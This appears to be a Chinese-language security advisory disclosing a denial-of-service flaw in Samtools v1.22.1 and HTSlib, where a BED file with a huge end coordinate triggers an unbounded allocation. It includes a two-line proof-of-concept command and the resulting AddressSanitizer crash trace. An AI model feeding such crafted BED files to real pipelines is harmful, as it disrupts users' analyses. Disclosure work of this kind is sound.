Samtools v1.22.1因大型BED区间导致不受控内存分配引发拒绝服务漏洞

来自：Ron E <ronaldjedgerson () gmail com> 日期：2025年9月28日 12:17:19 -0400

Samtools及底层HTSlib在处理包含极大区间值的BED文件时存在拒绝服务漏洞。bedidx.c文件中的bed_index_core()函数使用区间结束坐标计算分配大小，但未进行充分验证。通过提供特制结束坐标（例如接近2^61）的BED记录，攻击者可通过hts_resize_array_()触发不受控的内存分配请求。这将导致分配失败并终止进程， effectively造成拒绝服务。此漏洞可通过诱使用户或自动化流程加载包含超大区间的恶意BED文件（例如通过samtools view的-L选项）进行利用。

影响

拒绝服务（DoS）

概念验证

创建包含超大区间的BED文件：

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echo -e "chr1\t0\t2305843009213693940" > bad.bed

# 使用samtools触发DoS
samtools view -L bad.bed big.bam

输出

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=================================================================
==1060879==ERROR: AddressSanitizer: requested allocation size
0x10000000000000 (0x10000000001000 after adjustments for alignment, red
zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)

    #0 0xaad05674fd5c in realloc (/root/samtools/samtools+0xdfd5c)
(BuildId: 031fb204568f835410c0dd07ee99a915c9a7b660)

    #1 0xaad0568afc64 in hts_resize_array_ /root/htslib/hts.c:5070:15

    #2 0xaad056873d80 in bed_index_core /root/samtools/bedidx.c:120:13

    #3 0xaad056873d80 in bed_index /root/samtools/bedidx.c:149:17

    #4 0xaad056872780 in bed_read /root/samtools/bedidx.c:348:9

    #5 0xaad0567958b4 in main_samview /root/samtools/sam_view.c:1066:33

    #6 0xaad0567d5b40 in main /root/samtools/bamtk.c:246:55

    #7 0xfffaacef2290 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16

    #8 0xfffaacef2374 in __libc_start_main csu/../csu/libc-start.c:360:3

    #9 0xaad0566acc6c in _start (/root/samtools/samtools+0x3cc6c) (BuildId:
031fb204568f835410c0dd07ee99a915c9a7b660)

Samtools v1.22.1内存分配漏洞解析：恶意BED文件可引发拒绝服务攻击

本文披露了Samtools v1.22.1及底层HTSlib在处理包含超大区间值的BED文件时存在的拒绝服务漏洞，攻击者可通过特制BED文件触发异常内存分配导致进程终止。

Samtools v1.22.1因大型BED区间导致不受控内存分配引发拒绝服务漏洞

影响

概念验证

输出